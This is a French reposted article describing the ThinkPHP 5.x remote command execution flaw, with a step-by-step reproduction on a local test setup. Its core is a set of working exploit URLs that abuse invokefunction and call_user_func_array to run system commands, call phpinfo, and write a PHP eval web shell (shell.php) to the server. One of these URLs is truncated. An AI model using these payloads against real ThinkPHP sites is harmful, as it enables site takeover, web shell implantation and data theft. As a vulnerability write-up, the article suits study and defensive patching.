Maison  >  Article  >  cadre php  >  vulnérabilité d'exécution de commande à distance thinkphp

vulnérabilité d'exécution de commande à distance thinkphp

尚
avant
2020-05-08 09:16:124389parcourir

vulnérabilité d'exécution de commande à distance thinkphp

Aperçu de la vulnérabilité

ThinkPHP est un framework PHP open source populaire en Chine. Il a été récemment révélé qu'il existe une possibilité d'exécution de code à distance. Le code PHP des attaquants peut être écrit dans le fichier cache, conduisant à l'exécution de code à distance.

Bien qu'il existe plusieurs prérequis pour exploiter cette vulnérabilité, compte tenu du grand nombre de sites nationaux qui utilisent le framework ThinkPHP, cette vulnérabilité a tout de même une certaine ampleur d'impact. Étant donné que le framework n'effectue pas suffisamment de détection sur le nom du contrôleur, cela peut conduire à une éventuelle vulnérabilité getshell lorsque le routage forcé n'est pas activé.

Dangers de la vulnérabilité

Un attaquant peut prendre le contrôle du site Web grâce à cette vulnérabilité et modifier la page, entraînant une fuite de données et d'autres problèmes.

Version concernée

5.x

Environnement de reproduction

Environnement intégré thinkphp5.1 phpstudy (php5.6n+apache+mysql)

Processus de reproduction

1. Première construction comme indiqué dans la figure Bon. environnement

vulnérabilité dexécution de commande à distance thinkphp

2. Utilisez la fonction système pour exécuter des commandes à distance :

http://localhost/thinkphp5.1/html/public/ index .php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

vulnérabilité dexécution de commande à distance thinkphp

3. Via phpinfo La fonction écrit les informations de phpinfo() :

http://localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0% 5D= phpinfo&vars%5B1%5D%5B%5D=1

vulnérabilité dexécution de commande à distance thinkphp

4. Écrivez le shell :

http://localhost / thinkphp5.1/html/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[ % 22code%22])?^%3E%3Eshell.php

vulnérabilité dexécution de commande à distance thinkphp

ou

http://localhost/thinkphp5. 1 /html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

Tutoriel recommandé : "TP5"

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer